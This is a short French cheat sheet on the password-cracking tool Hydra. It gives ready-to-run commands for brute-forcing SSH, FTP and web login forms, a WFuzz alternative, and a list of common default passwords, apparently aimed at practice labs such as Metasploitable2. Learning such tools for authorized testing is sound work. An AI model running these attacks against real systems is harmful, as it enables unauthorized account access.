<aside> ℹ️
Hydra : Outil de cassage de mots de passe et de brute-force web.
</aside>
-t 1 : Un seul thread. (4 par défaut).
-f : Stop on success
-vV : Verbose mode
-d : Mode debug
-s : Port à utiliser
Voici un aperçu des commandes de base pour utiliser Hydra :
<aside> ⚠️
Hydra ne fonctionne pas avec Telnet. Du moins si vous arrivez à bruteforcer le telnet de la Metasploitable2 avec Hydra, faites moi signe.
</aside>
Bruteforce SSH :
# Syntaxe
hydra [-l user OU -L user.txt] [-p pass OU -P pass.txt] <IP> ssh
# Exemple
hydra -l john -P pass.txt 192.168.1.100 ssh
Bruteforce FTP :
# Syntaxe
hydra [-l user OU -L user.txt] [-p pass OU -P pass.txt] <IP> ftp
# Exemple
hydra -l john -P pass.txt 192.168.1.100 ftp
Bruteforce HTTP-Post
<aside> ⚠️
Hydra peut se montrer compliquer à manier pour le brute force d’applications web. On peut utiliser WFuzz dans ce contexte.
</aside>
# Syntaxe
hydra [-l user OU -L user.txt] [-p pass OU -P pass.txt] <IP> -s 3000 http-post-form "/path/login:email=^USER^&password=^PASS^:F=Error" -d
# Exemple
hydra -l [email protected] -P pass.txt 127.0.0.1 -s 3000 http-post-form "/rest/user/login:email=^USER^&password=^PASS^:F=Invalid email or password." -f -V
# Si hydra retourne ce code d'erreur : "[ERROR] the target is using HTTP auth, not a web form, received HTTP error code 401. Use module "http-get" instead."
# Si le serveur répond avec un code 401 Unauthorized, Hydra suppose que c’est une authentification HTTP et non un formulaire.
# -> Utiliser WFuzz.
# WFuzz
wfuzz -w best1050.txt -d "[email protected]&password=FUZZ" --sc 200 http://localhost:3000/rest/user/login
Il existe des alternatives comme WFuzz ou Medusa.
pass.txt
password
Password1
password1
admin
manager
role1
tomcat
changethis
Password1
root
r00t
toor
s3cret
oracle
moscow
luke
lorenzo
kitkat
johnjohn
msfadmin
user
postgres
batman
123456789
service